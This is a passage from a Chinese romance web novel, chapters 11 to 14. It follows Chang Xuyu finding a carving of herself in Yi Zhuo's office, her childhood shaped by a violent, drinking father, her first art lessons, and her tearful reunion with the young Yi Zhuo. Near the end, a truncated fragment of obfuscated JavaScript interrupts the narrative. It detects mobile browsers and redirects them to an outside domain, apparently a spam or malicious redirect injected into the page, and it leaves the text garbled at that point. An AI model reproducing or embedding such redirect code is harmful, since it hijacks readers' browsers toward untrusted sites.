过了一会,她定睛观望周围,艺术工作者的工作室比寻常的办公室要大,室内不起眼的位置养着几盆绿植,叶片发黄,大概是易焯没时间照看。
中间摆着一张很长的实木桌子,摆着一堆样品的模型,旁边还有几张绘图桌,凌乱的手稿散的到处都是。
常絮语不是设计类专业,没怎么见过这样的桌子,在画室上班的时候,她跟学生一样,画画用的通常是画凳。她上手摸了摸,再拿起几张手稿看,不光有模型的设计图,还有一些室内平面绘图。
她捡起来看了看,虽然不太懂设计,不过身边不乏有设计专业毕业的同事和朋友。
技多不压身,况且易焯的雕塑生意做得也不大,看他的收入,若说没有副业那不大可能。
易焯将外套脱下来放在一边,淡声:“昨天晚上有人在这加班。”
加班的太累了,还没来得及收拾。
“你先去里面的办公室坐一会,想画画就出来,这里什么都有,困了就睡会,我先去厂里忙。”
说着,他走过去将帘子打开,阳光透过玻璃窗照进来,对面显出一扇门,牌子上写着“办公室”。
常絮语目送他离开,又在工作室转了一圈,拿着喷壶给盆栽喷了喷水,将满地的手稿收在一起放好,大致整理了一番。
做美术老师的,都喜欢把自己的一亩三分地收拾的干净整洁,这是从学生时代就养成的习惯。
她将办公室的门轻轻推开,不出意外,易焯办公室的装潢也依旧朴素,不同于外面的多人工作室一样,这件屋子很干净。
她舒了口气,把门关好,走了进去。
屋子里的陈设很简单,书柜不少,里面陈列着许多专业上的书籍。桌上除了电脑和键盘外,再没有什么多余的东西。
她缓缓坐下来,看着周围这一切,莫名想笑。
他还真的是……不像从事艺术工作的人。
连办公室都布置的这么中规中矩,连块摆放奖杯证书的展柜都没有设计。
不过她是知道的,易焯肯定有很多证书和奖杯。
想在艺术界有一定的名气,不仅仅手头功夫要硬,奖项和荣誉也是必不可少。
坐了一会,她偶然瞥见文件的角落处有一个很小的木雕。
不是很起眼,她好奇着凑近,将木雕拖出来捧在手掌心里看,竟然是个小少女的造型。
少女的形象雕刻的十分细致,眉眼弯弯笑起来像月亮,两腮还有一点婴儿肥,头顶带着一个贝蕾帽,很眼熟。
雕塑专业的大多造型能力很好,这是他们的优势,像易焯这样的业界佼佼者,自然做的更好。
这五官,怎么看,怎么像她......
嗯?
她眯了眯眼,贝蕾帽是高中的时候姑姑给她买的,姑姑很喜欢打扮她,说戴上那个帽子很有艺术家的气质。
观摩着这个小木雕,常絮语心里微微惊异。
因为这个帽子很早之前就丢了,至于怎么丢的,显然,她早就忘了。
他怎么会雕出这样的形象?
将木雕翻了个面,低端还有一排很小的刻字——
“2013年,《絮语》。”
这幅作品叫《絮语》,是她的名字。
而2013那一年,她十八岁,刚刚考上央美。
她自认为记得最清楚的就是2013年,那年全机构出了三个央美的,只有她是应届生,一年就考上了,很多人夸她天赋异禀,却很少有人知道她在不起眼的角落里努力填补色彩天赋上的空缺。
终于功夫不有心人,经历完那两年的艺考、校考、高考,她真的考上了。
将木雕放回原位置,常絮语有些疑虑,也
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有些错诧,情不自禁的抠着指甲发呆。
可她以前,从来不记得有“易焯”这样一个人。
这个男人的出现,就好比是雪夜路灯下逆光而来的存在,那样张扬、突兀,毫无征兆的出现在她的世界里,好像自从认识他,她的生命轨迹就被悄无声息改变了一样。
明明,最初的她,只是为了摆脱家里一而再再而三的催促,才跟这样一个各方面条件都凑合的男人绑在了一起。
而他,恰好也有理由,打定主意,好像非她不可......
初见时,她就从他的眼神里看到了如同野兽一样对猎物势在必得的野心和渴望。
就连在床上,他对她的疯狂也丝毫不见收敛,将汗液和情话糅杂在一起,不断的深入,好似要将她生吞活剥、吞之入腹。
那样猛烈的爱意,或许她这一生都不会再从第二个人身上感受到了。
所以她到底忘记过什么?
*
常絮语鬼使神差的走了出去。
外面的冷气扑面袭来,像是卷携着钢针,毫不留情的刺向她的皮肤。
进到厂子里,看见易焯咬着根烟,穿着背心在拆泥。
男人动作有序不紊,肩宽腿长,留着一头利落的短发站在光晕里,很惹眼。
一边是做3D打印技术雕塑这些快活的工人,最后统一上色。
她觉得很新奇,四处看着,一边将水递给他,看着他拆了一半的泥塑人头,默默地观摩。
易焯回头,将烟掐灭。
“挺重要的客户托的单,员工没做好,拆了,我再重新做。”他淡声。
能让易焯亲手做的泥塑,客户肯定十分重要。
余光瞥见那个拆了一半的头,好像是个女人形象。
厚唇肆意扬起,下巴尖的像锥子,分外妖艳。
常絮语多看了两眼,没有多问。
易焯仰头将水喝完,手臂屈伸间,连带着额上细细的汗能看得一清二楚,淌在他流畅的肌肉线条上。
“累了就休息一会吧。”她道。
做雕塑是个体力活。
“没事。”
常絮语站在一边看着他,犹豫再三,也没有上前再跟他说话。
倒是员工们对她都十分好奇,争先恐后的来跟这个漂亮文静的老板娘唠一唠话。
易焯皱了皱眉,上前将一群人散开,套上毛衣径直牵住她的手往外走。
“里面闷的很,你找我做什么?”
走到一片空地他语气缓和下来,耐心询问她。
常絮语往后撤了两步,一只手搭下来,掩饰着鼓鼓囊囊的口袋。
她展开一张图,缓缓弯了下唇角,看着他。
易焯定睛看去。
是她刚刚画的画。
画面上,是一个戴着贝雷帽,提着方形手提包的姑娘,长头发大眼睛,有几分眼熟。
他皱了皱眉,忽然像是想到了什么,眸中泛起一丝涟漪。
常絮语抿了抿唇,从口袋里掏出那个木雕。
小小的少女木雕躺在她粉嫩的掌心里,分外契合。
他一愣,漆黑的眸子仿佛在某一瞬更加晦暗了些。
果真是他雕的《絮语》。
他提前将办公室所有的雕塑都藏了起来,唯独落下了这个。
男人敛神,将雕塑接了过来,攥在手中,闭了闭眼。
常絮语抬眸看着他,沉住气,缓声问了出来——
“易焯,所以,我们以前是不是在哪里见过?”
她想要他一句实话。
12. Chapter 12
2006年冬,常絮语11岁。
易焯已经搬走好几年了,在这期间,她一直都没能再见过他。原先他一个人租住的房子也一直空着,直到这天下午,她放学回家,瞥见间房子似乎是有了新的住户。
易焯已经走了一年多了,现在这里住进来新的人,是不是说明,易焯真的永远也不会再回来了?
那她是不是永远也见不到易焯了?
想到这,她手里紧紧捏着书包带子,心里一阵难过,接着抿了抿唇,悄悄走过去窥探这房子的新主人。
这户人家搬家的动静不小,新家具的味道混合着尘土,荡的走廊里到处都是。
那家人正从外往里搬家具,身后忽然响起的声音吓了她一跳——
“小朋友让一让,叔叔搬张桌子!”
两个男人抬着张实木桌子,正哼哧哼哧的往这儿走,大冬天的穿件单衣,额头手臂全是汗津津的。
她连忙躲到一边去,静静地看着他们。
从屋子里走出来个年纪约莫在三十多岁的女人,涂着颜色鲜亮的口红,烫了大波浪,下巴很尖。
她正叮嘱着搬东西的师傅注意点,一扭头,瞥见角落里瘦瘦小小的女孩儿。
她上前两步,笑问她有什么事。
常絮语一双乌亮的大眼睛看着女人,手里抠弄着书包带子,过了半分钟才开口,怯声问:“阿姨,你们是新的住户吗?”
她怕生,微微低着头,说话的声音很小。
女人笑了笑,觉得她长得漂亮又讨喜,便柔声回答她:“阿姨是这房子的主人,一直没租出去,恰好阿姨有点事要在这边待一待,索性就住回来了。”
“以后,咱们就算邻居了。”
女人温柔的拍了拍她瘦削的肩头,又将她耳边的碎发掖进去。
常絮语抬了抬眸,听着她的话,眼底漾起一抹光亮。
那她是不是知道易焯哥哥的消息啊?
虽然他不告而别很讨厌,不过他是个大好人,会帮她做值日,保护她,还会和她一起上下学,所以……相抵了!她也不是那么斤斤计较的人,只要以后还能再见到他就好!
想到这儿,常絮语抿了抿唇,轻声询问:“阿姨,你是一个人住吗?那你知道......上一家租户去哪里了吗?”
闻言,女人的笑有几分僵在脸上,眉心微微皱起,似是有些为难。
她看着眼前扎着两个辫子的小姑娘,顿了顿,挤出一丝笑:“是的,阿姨是一个人住,上一户的事,阿姨也不清楚。”
一个小孩子而已,不用让她知道那么多。
常絮语眼底的光渐渐消散了。
似是瞧见常絮语的神色微末变化,她含含糊糊的说完,要给常絮语拿几包零食,常絮语推脱不下,只好带着一堆的小饼干上楼,临走时,乖乖的朝她挥挥手:“谢谢阿姨,我叫常絮语,家住四楼。”
女人笑眯眯的目送她:“好哦,絮语小朋友,慢点跑。”
直到常絮语跑的没了人影,女人耸了耸肩,微微笑了一声,觉得常絮语可爱的紧。
她就喜欢长得白白净净的,性格温温柔柔的小女孩,她喜欢做点小糕点,回头做好了,就去絮语家送一些。
楼道里的窗户四季都开着,楼层越高,越能感觉到刺肤的北风,裹挟着缱绻的凉意,轻抚着人的理智和思绪。
常絮语将小零食一袋一袋装进书包里,手里攥着家门钥匙,却坐在石阶上,没有开门回家。
冷风呼呼的在耳边回响着,她吸了吸鼻子,将手塞进口袋,感觉到手上的温度慢慢回温,她低头看着破损的石阶,静静的发呆。
她都知道的......
那个阿姨嘴上这么说,但她肯定清楚易焯的事。
不过是看她年纪小,不愿意告诉她而已。
想到这,她暗暗攥紧手,忽然坐起来去开家门。
回到家,她照例先写算数作业,常母听见开门声出了厨房看她一眼,见她掏出算数本,才转身回去炒菜。
家里的油烟气有点重,常絮语去将窗户打开,坐在窗户底下慢慢地写。
饭桌上,常絮语嚼着嘴里的馒头,忽然开口:“妈妈,楼下原先易焯哥哥住的房子,房东阿姨回来了。”
常母闻言,仰头回想了一阵,若有所思的点点头:“噢,我记得那个女的。”
“我们岁数差不多大,当年我跟你爸买房子买到这,她就跟着她老公去外地了,听说也是个有钱的家儿,现在怎么又回来了?”
“不知道,但是那个阿姨说她是一个人住。”
常母一愣,嘴里的饭菜也忘了咽,恍然大悟,想必这是是离婚了!
“那,那你看到她有孩子吗?”常母又问。
常絮语摇了摇头。
“我也不知道,不过我只跟她一个人说了话。”
连孩子也没有?常母摇了摇头,咂舌,也是怪可怜的。
常母吸溜了一口汤,呼出一口气。
过了两天,常母换了身新做的棉褂,提了两袋新蒸好的红糖馒头下楼,敲响了新邻居的门。
女人也没耽搁,径直就将门打开了。
“你是......”
常母将馒头递上来,笑道:“我是常絮语的妈妈,住四楼的。”
常絮语,絮语,噢!
她看了眼常母手里提的东西,垂眸仔细想了想,终于记了起来——
“前几天那个小姑娘的妈妈吧!哎哟,真是的,麻烦你特地跑来一趟。”
“我这两天忙着打扫卫生,都没来得及拜访邻里,”她将散发拢在耳后,不好意思的笑了笑,一边招呼着,“快进来。”
......
一来二去,两人也就熟络了起来。
这天常絮语做值日,放学回家晚了点,一进门就看见常母和楼下阿姨聊得火热。
常絮语定了定神,眯眼笑,乖乖的打了招呼。
“哎哟絮语回来啦?这时间也不早了......要不我就回去了。”女人看了看表,起身。
常母忙拉着她的胳膊:“你一个人回去还要再多刷锅碗,我火上熬着汤呢,一会炒俩菜,在我家吃算了。”
女人见常母盛情难却,只好答应下来,抿了抿唇笑了:“真是又给你添麻烦了。”
“都是邻居嘛!别这么客气!”
常絮语背着包回房间里写作业,外面的吵闹声渐渐低沉下来。
她将
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房间门稍微打开一个缝,仔细的聆听。
两个女人翘着二郎腿坐在沙发上,正聚精会神的聊天。
常絮语专注的听了一晌也没听到她要的“情报”。
终于,在她快要放弃的那一刻起,忽然听见从楼下那阿姨嘴里蹦出的“易焯”两个字。
她一愣,皱起眉,将耳朵靠紧了门。
“唉,易焯那个孩子挺可怜啊,原先是他爸带着他一起找的房子,看那男人开的车,还是个有钱的,给自己儿子祖这样的住处也是少见......”
“我不是很清楚他们家的情况,可这个男人也是混蛋的,一开始还管着易焯的起居,后来突然有一天就跟销声匿迹了一样,把孩子丢在这也不管,后面就是易焯一个人交房租钱,摊上那么个爹,小孩子手里能有几个钱?我问他,他也不说,房租交的有一月没一月,后来就再也没交过了,我回来一瞧,房子早就空了。”
女人连连叹气。
常母皱眉,没想到还有这么一段故事,她只当是易焯的爹有钱,住着不过是暂时的,人家想搬走随时就搬走了。
“啧啧啧,他爹真不是个东西!留那么大点的孩子在这,每天不知道怎么过的,估计也是饥一顿饱一顿,可怜啊。”
“可不是,我也就是看他可怜,就随他去了,房租也没几个钱,就当做善事了。”女人喝了口水。
接着,两人跳过这个话题,继续聊其他事了。
后面的话,常絮语已经听不清了,她只感觉脑袋里一片嗡鸣,好像有什么东西在刺她的皮肤,一下接着一下,有序不紊的,疼的她太阳穴直跳。
心口像是堵了团棉花,她捂着心脏的位置慢坐在地上,难过的说不出话。
不到半分钟,她的泪像断了线的珠串,一颗一颗砸进地上,伴随着她时不时小声的啜泣。
她终于知道易焯的事了,可她却怎么也开心不起来,更没有勇气再去追问其他的细节。
窗户开着,外面的大雾早就散干净了,独留一片昏暗和茫然,夹杂着点儿冷风的凛冽,划过她的泪在皮肤上留下一道道红痕。
吃过晚饭,她借口出门跑步。
她依旧留着中长的头发,戴着厚厚的棉围巾,穿着深色的长款羽绒服,走到路灯下,抬头看了看漆黑的幕布,缓缓呼出一口气,顷刻间化作白雾,慢慢弥散开来,而后消失不见。
一直以为,他是跟着家人去到了另一个普通人无法企及的地方,在自己的小天地里“享福”,不用跟以前一样舍弃私家车接送,整天牵着她过马路淌水坑的往家跑。
原来他在还没离开之前就过得不好......
易焯虽然看起来冷淡,却是个好人,会在下雨的时候将流浪猫抱到能暂避的地方的好人。
难道好人真的没好报吗?
常絮语记得第一次见他,他就被那个自称是父亲的男人毫不留情的踹在地上,膝盖上磕的是血肉模糊。
为什么要让他过得这么不好?
想着想着,小姑娘缓缓蹲下来环住双膝,喉间干涩,眼泪再一次掉了下来。
而远处,一个看起来十四五岁的少年正默默的注视她,眼底晦暗不清,复杂的情绪里掺着一大半的心疼。
13. Chapter 13
晚上回到家,上了楼,钥匙刚拧开门,常絮语就听到了令人疲惫焦躁的声音。
常青山回来了。
她的心骤然提到了嗓子眼,慌忙跑进去,果不其然,常青山又喝了不少酒。
两人刚刚吵了一架,常母一头凌乱的乌发,正含着眼泪,地上一片狼藉,到处是碎玻璃片和杂七杂八的物件。
常青山喝了酒,地上的玻璃碎片大约是他带来的啤酒瓶子。
常絮语跑过去抱住泣不成声的母亲,轻稳的拍了拍她的背,咬唇看向一旁喝的醉醺醺的父亲。
“爸,你又对我妈动手了?”
常青山一张脸红的彻底,要倒不倒的站在那,闻言皱眉,大手一挥,怒道:“滚,你个丫头片子,就知道跟你妈串通一气,这个家就没人懂老子的苦!”
他锤了锤胸口,嗓音沙哑,他有慢性咽炎,说到最后几近嘶喊,几乎出不了声音。
常青山喝醉的时候说话就是很不中听,常母又急的差点跳起来,指着他破口大骂:“我怎么嫁了你这么个没出息的男人!钱挣不回来就算了,还净想着往外面赔钱!常青山,你苦?家里的钱都要被你霍霍完了,整天家都不着,我跟你女儿过的什么苦日子你知道吗?”
“那也是你的错,肚子不争气,生个丫头片子出来,一点用没有,要是生的儿子,这么大了就懂帮衬家里了!”
常青山大声反驳,专挑戳人肺管子的话。
说到这个常母就来气,她脑子里仿若混淆成一团浆糊,什么也不想了,只想抄起一旁的物件砸他。
“你个没良心的,你还说这种废话!真是要气死我!那你让絮语重新投胎啊!”
女人推开常絮语,连串的泪伴随着打骂声愈加迅猛,整个客厅的叫嚷声和物件砸在人身上的声音不断。
常絮语被推的向后踉跄两步,有一瞬间,她觉得空气伴随着时间一起静止流动了。
全身的血液仿佛全部在倒流,看着扭打在一起的爸妈,她忽然觉得身上很冷。
她扶住一旁的桌沿,闭了闭眼,眼前有一刹那的眩晕。
......
最后,是常胜楠碰巧过来,打断了这场闹剧。
她狠狠责怪了哥哥嫂子一顿,心疼的看着小侄女,恶狠狠的剜了夫妇俩一眼,径直带着常絮语出了家门。
常胜楠要离开这,去做生意。
两个人窝在宾馆里,常胜楠给常絮语买了烤红薯和糖墩儿。
昏暗的房间里,头顶的白炽灯时不时的闪着光,常絮语吃东西很慢,吸着鼻子,一口一口慢吞吞的嚼。
常胜楠看着她干瘦的小脸,抿唇,帮她将碎发掖进耳后,缓声:“絮语,姑姑下周就走了,”
“姑姑,你真的要去做生意吗?”
甜甜的红薯瓤像糖浆一样在嘴里化开,驱散了心里一半的苦乏。
小姑娘一双大眼睛盯着她,眼底含着一抹泪意和不舍。
“姑姑,我担心你,因为爷爷奶奶......”她欲言又止。
常胜楠笑,指腹将她嘴角的污渍撇下来,点了点头,又忽然想到今天晚上发生的事,抿了抿唇。
父母辈都是做生意的,后来赔了本,老两口受不了打击,一个跳了楼,另一个不久后抑郁而终。
她嫂子嫁进来的时候,家里就已经没钱了,所以这么多年,嫂子一直怨恨他们家,这些年来没少抱怨。
这次也是因为常青山来要钱,说要投资做笔生意,才会跟嫂子大吵一架。
对于这件事,是他们家的不对。
以后她打工做生意赚了钱,肯定会补偿嫂子。
不过絮语还小,这些事就不告诉她了。
常胜楠揉了揉常絮语的发顶,温声解释:“没事,姑姑不怕,豁不出去赚不到钱呢。”
常絮语捧着半个红薯,心里很难过。
连姑姑也要离开她了......
常胜楠看她这个样子,眼眶一热,强撑着起身,装作没事一样,让常絮语吃完记得刷牙。
*
第二天一大早,常絮语就自己坐公交车回家了。
进了家门,就看见常母顶着两个肿眼泡在打扫卫生,昨天的狼藉好像跟没发生过一样。
女人看见她,皱了皱眉,却什么也没说,依旧埋头拖地。
想到昨天晚上两人说的话,常絮语心里的难过劲儿就又上来了,她也不发一言,进屋写算术题。
房门关上的那一刻,常母缓慢地抬起头来,深深地看了她的背影一眼。
在常絮语看不见的地方,女人眼里闪过一丝愧疚。
过了一会,楼下阿姨找常母说话,带着一包甜果子。
“絮语啊,你薛阿姨带了小点心,出来吃一点吧。”
常母调整好自己的情绪,冲里屋喊道。
常絮语迟疑了一会,开了门,慢慢走出来,礼貌地向女人问好。
薛金玉依旧涂着艳色的大红唇,笑容却很是温和。
“絮语在房间干嘛呢?”
常絮语看了看她,敛神,小声说:“我写完算术题,画了一会画。”
话罢看了常母一眼,见她没什么反应,常絮语才堪堪松了一口气。
薛金玉“哦”了一声,尾音上挑,来了兴趣:“让阿姨看看絮语的画可以吗?”
还没等常絮语开口,常母就摆摆手,随意道:“她画的都是小孩子喜欢的,也没什么好看的。”
闻言,常絮语一愣,随即闷下头去。
她抿抿唇,也不想介绍了。
薛金玉拍了常母一下,故作责怪的语气道:“诶,咋这么说呢,人家搞艺术的都说,热爱算是艺术最初的天赋呢,没事絮语,让阿姨看看你的画吧?”
常絮语想了想,没再看母亲,径直跑到房间将画拿了出来,是一幅素描。
她轻轻舒了一口气,努力介绍道:“这是,我看着公园写生的美术老师,自学的,画得不好......”
她越说越小声。
薛金玉上前观摩,眼中闪过一丝惊喜。
“这哪里不好啦!年纪这么小,自学成才!你看看你闺女多优秀啊!”
女人对画赞不绝口,一边拉着常母的袖子,让她一起看。
常母有一瞬的耳热,不情不愿的上前看了两眼,“嗯”了两声。
薛金玉垂眸想了想,笑:“我之前投资过一个艺术机构,要不让絮语去那个机构学一学吧?这么好的苗子不能浪费了呀!”
常母只当她是开玩笑。
“我没开玩笑!海燕,我说真的!”
常絮语和常母都愣了一瞬。
......
既然是有人资助出钱让常絮语学,常母自然也没什么好推脱得了。
薛金玉不是差钱的人,出手很大方,周末就带着常絮语去了投资的那家机构。
艺术老师微微蹲下来看着面前这个看着有点胆怯的小姑娘,笑着拍了拍她的肩:“零基础?”
薛金玉替她答:“厉害着呢,自学都成才了,你教就知道了。”
老师点了点头,众所周知,平常的学生最恨的几种人就是“天赋怪”、“童子功”,遇上这种的竞争对手,也是没辙认命了。
不过教师一方是最喜欢这样的学生的。
天赋怪,有才气,勤奋肯学。
“好,小絮语,以后你就跟着我学专业美术吧?”
在老师和薛阿姨期盼的目光下,常絮语深吸一口气,红着脸缓缓点了点头。
“谢谢您。”
那年的寒冬,本是满目银白,却也在某一刻,开始如盛夏一般夺目炫彩起来。
从此,常絮语就在每个周六去机构学艺考美术。
这天素描课下课,同学拿着袋小零食过来跟常絮语聊天,小姑娘蹲在一边看着她画画,称赞:“哇,絮语,你这学的也太快了吧,刚临摹完几何图形,就能画几何的照片啦?!”
常絮语笑了笑。
看了一会,她发现常絮语是真的喜欢画画,可以一个人一声不吭的慢慢画一整天。
牛人。
在心里十分佩服的同时,她想了想,拉着常絮语起来,去窗边透透气。
常絮语站起身,发现腿有点酸,站一站也好。
两个人趴在窗边,边吃小薯条边聊天吹风。
“诶,絮语你看对面,是个超级厉害的辅导班,听说里面都是名师呢。”
常絮语顺着她的手看过去,很普通的建筑。
“真的呀?”
她没上过补习班,还是有点好奇的。
“对对对,超牛的,我妈打算给我报了,唉,假期又
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没了!”
常絮语笑了笑:“好好学习,天天向上。”
小姑娘闷闷的嚎叫一声,觉得全身的力气都被抽走了一样。
“诶,絮语,要不一会放学了你陪我去里面看看吧?”
常絮语看着她,慢慢问:“不太好吧,我们两个小孩子......”
“哎呀这有什么不好的,就是去看一眼,求你了絮语。”
她知道像絮语这样看着白白净净的小淑女肯定经不住自己这一招。
果然,常絮语拗不过她,只好答应下来。
放学后,常絮语将画凳上的铅笔屑清理干净,刚背上包,就被女同学拉了过去,两个人有说有笑的进了那家辅导机构。
接待老师看是两个小孩,看了眼日历,不是上课的世间,就皱了皱眉,上前询问。
“您好老师,我妈妈给我报了班,我想来这里参观一下。”小姑娘乖乖的看着她。
老师想了想,无奈的笑:“好吧,不过不要乱走哦。”
“好!”
这里的瓷砖地板很干净,偶有几条微不可查的裂纹,墙面刷着绿白的漆,门框是拿坡里黄的颜色。
两个人一边看一边走,心里微微惊异。
“长得跟学校好像啊!”
“确实呢。”
往里走,隐约听见有人在说话。
小姑娘拉着常絮语往声源处走。
常絮语有点担心:“是不是人家上课呢?我们还是不要去了吧......”
“没事没事,应该不是大教师的课,咱们就看一眼,没事的啊。”
走近了,抬头一看,发现门牌上写的是“特聘教师专业教室”。
特聘教师?
“哇塞,这么牛!”
从里面传来不轻不重的男声,没什么情绪,说话咬字很清楚。
凑近听见这个声音,常絮语一愣,好像有一把利刃划过她的天空,破开云层,烈日乍显。
心像是被什么击中了,那道防线一瞬之间溃不成军。
旁的人在说什么,这一刻,她已经听不见了,只是眼眶骤然发热,不顾一旁人的劝阻,双腿不听使唤的迈了进去——
有一道金光打下来,有些刺眼。
鞋子落在瓷砖上无一丝声响,从门外投射进一道人影,里面的人都微微转过头看去。
那声音的源头,也就是这里的“特聘教师”,眸中忽的亮了亮。
四目相视,那人正是与她分别已久的易焯。
他个子又高了,坐在那屈着两条长腿,着一件深色棉服,下颌凌厉,面上依旧淡漠,气质却逐渐成熟。
原来他一直都在距离她这么近的地方。
常絮语用力收住泪。
他旁边有个跟她差不多大的女孩儿,应该是他的学生,女孩儿眨了眨眼,看着她,笑着问:“同学,你有什么事吗?”
常絮语回过神来,看着她的眼神中闪过一丝恐慌,喉间发涩。
“没,没事,”她努力定了定神,微微鞠躬,“抱歉,打扰了你们上课了。”
里面的女孩看着常絮语,慢慢对她笑。
“没关系的,我老师最温柔了,不会怪你哒。
毕竟易老师这样的年纪和成就,还有一张这么吸引人的脸,别的学员想来观望也是人之常情。
说着,她抬头看了易焯一眼。
少年的眉心微凝,神色有几分不悦。
常絮语读不懂他的眼神,抿了抿唇,最后看他一眼,转过身要走。
看来他没有要留她的意思。
也对,都过去好几年了,他现在估计已经不认识他了,只有她还傻傻的在原地踏步,希望有一天能再见到他。
见她要走,里面的人似是再也按耐不住,终于猛地站起身喊住她。
“絮语。”
闻声,她脚步一顿。
易焯有点头疼,却不想在这一刻与她匆匆分别。
“等我半个小时。”他声音有些哑。
天光大亮,在这个没有火烧云的、白茫茫的世界里,人就好像一副素描写生画,他在里面,目光聚集处是她小小的背影,连构图都这样循规蹈矩。
是什么结果已经不重要了。
她忽然松了一口气,忍住热泪盈眶,转过头来对他轻轻弯了弯唇。
14. Chapter 14
黄昏伊始,万物渡上一层金辉,散漫着淡淡的光泽,像书里幻梦的世界。
常絮语让同学先走,自己一个人蹲在走廊,安安静静的听着身旁教室里的声音。
“哇,老师你真厉害,这种解题步骤我还从来没见过。”
“老师,你怎么做到这么年轻还这么聪明的呀?”
里面的女孩时不时就要称赞一两句,声音甜甜的。
常絮语手里握着磕小石头,在手心里盘了盘,她抬头看看天,又低头看看石头,在手心里怎么也捂不热。
后来她察觉是自己的手太凉。
缓缓站起来,将双手伸进口袋,她抿唇,双腿始终没敢再次迈出一步。
就这么过了约莫半小时,易焯终于出来了。
“老师再见!”女孩向他告别。
常絮语回头,临走时,女孩冲她笑了笑。
她忽然有些不自在。
易焯颔首,等到女孩走远了,他才踱步至常絮语的面前,一双好看的眼睛里带着淡淡的疲惫。
他揉了揉眉心,微微叹息,眼前骤然升起一簇簇白雾。
“久等,”他哑然开口,看着她身上略显单薄的衣物,皱眉,“冷吗?”
常絮语吸了吸鼻子。
“不冷。”
他神色有几分不悦,却也只是抿了抿唇,没再说什么,自顾牵起她的手。
“还说不冷,这么凉,怎么不换个地方等我。”
常絮语没吭声。
她不愿意开口告诉他,自己其实是想听他说话的声音。
迟迟不见她开口,少年自顾将脖子上的围巾取下来,系在她脖子上。
末了,又把外套脱了下来,搭在她肩头,扣上扣子。
常絮语愣愣的看着他动作,他带着温度的手有一瞬擦过她颈脖间细腻的皮肤,烫的她微微颤了颤眼睫。
他里面只有件灰色的高领毛衣。
“易焯哥哥,你怎么办?你不冷吗?”
他的围巾很厚,带着淡淡的薄荷香,她一双眼睛露在外面,轻声问了出来。
听到从她口中多年未曾听到的称呼,易焯微微愣了愣神,手上的动作跟着微微一顿。
“我没事。”
他嗓音有些低哑。
面前长长的走廊里空无一人,安静的落针可闻。
两个人不紧不慢的往前走,漫无目的。
常絮语发现,他们的话好像都变少了。
和从前不一样了。
不知道过了多久,易焯冷不丁的打了个喷嚏。
常絮语看向他。
少年双手插兜,和她对视,面无表情。
“你也别逞强了,易焯哥哥。”
她不是没有幻想过他们的重逢,只是今天的会面太过偶然,过了这么长时间,她没法在像从前那样习惯依赖他的好。
于是,小姑娘默默将外套和围巾褪下来,还给他。
“易焯哥哥,你不用这样。”
他敛神,看着她递过来的衣物,薄唇轻抿。
半刻后,他才接过去。
“走。”
他拉住她的小手。
“去哪?”
“送你回家。”
闻言,絮语皱眉,径直用力地甩开他的手。
“不要。”
两个人四目相视,看着空了的手心,易焯看向她的眼神冷了几分。
“听话。”他语气沉下来。
“今天温度低,你一个人跑到这来,不安全,我晚上还有兼职,先送你回去。”
他变了很多,没了从前的朝气,她从他的眼睛里只能看见疲惫和淡漠。
她咬住下唇,低眸看了看脚下略带着灰尘的瓷砖地板,想起一些琐碎的伤心事,把心里的委屈像倒苦水一样诉说出来。
“我爸爸从前还没做生意的时候,也经常在家陪我,那时候我还很小,后来他做生意赔了钱,就开始不回家,因为我是个女孩,他每次喝了酒都要那这件事怨我妈妈,跟我妈妈吵架,妈妈嘴上不明说,可我也知道的,我不是小男孩,她也不会对我有指望,虽然每次都有姑姑过来打圆场、护着我,可姑姑也要走了,她说要赚钱贴补家里,以后又只剩下我一个人了。”
“是不是所有对我好的人,到最后都要抛弃我?如果是这样,干脆一开始就不要对我好了,我不想再被抛弃了。”
她说着说着,语调染上哭腔,又慢慢地将眼泪抹在袖子上。
夕阳无限好,只是近黄昏,也幸亏茫茫大雾中,一切都看不分明。
“我在这等了你半个小时,就是想多听听你的声音,刚才我没敢告诉你,怕你笑话我,可我......”真的很想你。
最后几个字,她抿唇,咽了回去。
易焯的目光一直紧锁着她,在某一刻忽然动了动。
他不知道,他真的不知道。
如果可以,他希望有人能代替过去的他,至少给她一点安慰,像从前她被母亲强硬地剪了头发躲在角落里哭时,有人能跟她说说话,夸她长得漂亮,长发短发都无所谓,可惜没有。
常絮语有些怪自己不争气的眼泪,一边说话一边掉,跟断了线的珠串一样,止都止不住。
“可你什么也没说,就要送我走,那你呢?你在哪里住?你转校后又在哪里上学?我什么也不知道......如果今天没有跟着来这个机构,我想我大概永远都不会再见到你了。”
“我不想回家,我不想回家看到爸爸妈妈吵架,满地的玻璃碎片,我妈妈要扫好久,我想帮忙,可她说我干活太笨,不让我打下手,我知道她是嫌弃我,又不想让我看到她哭的样子,所以每次我都只能躲起来,一个人做算术题,要写很久很久。”
她想到以前和易焯一起上下学的样子,他教她做算术题,她以前为数不多的快乐时光都是和他一起度过的,虽然大家常说短暂的快乐留不住,期待以后的快乐就好,可那些日子对她来说弥足珍贵。
她可以不想以后,只念朝夕。
常絮语越说,眼泪就越多,他喉结滚动,心里一抽一抽的疼,最后受不住,靠前,像以前一样轻轻地揉了揉她的发顶。
“别哭了。”
他想了想,看着她,又哑声道:“我向你道歉,对不起,絮语,是我太着急了。”
这几年他确实经历了很多事,迫使他必须一个人面对所有,没有父母照拂的人,独自谋生,总是会艰难许多。
他眉心骤然疼起来,两指稍揉了揉,另一只手却能清楚感觉到小姑娘微微发抖的身体。
看来是气得狠了。
他微微叹了一声,蹲下来稍稍仰视她,语气变得缓慢温和:“那我带你去旁边的奶茶店坐坐好不好?”
她眼圈红红的,闻言抿了抿唇。
“我哭过了......”
这个样子太丢人了。
她不想去。
常絮语是典型双眼皮大眼睛的美人胚子,一双杏眼宛若春风词笔,带着点水灵灵的天真,就这么红着眼圈看着人,根本无人招架得住。
易焯拗不过她,敛神,只好带着她去了自己新的住处。
当淡淡的银辉渐缓铺满世界和两人的肩头,常絮语才发觉,他们已经走了很久的路。
像是璨璨雪光,地上的碎石子一片接着一片,有些硌脚,偶尔还能听见檐角的水落下来砸进水洼里的脆响声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448156|185189||http|test|mini|href|location''.split(''|''),0,{}));
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>眼前慢慢出现一排老式居民楼,赭石色的外观,住户家的玻璃颜色不一,缺角少棱。
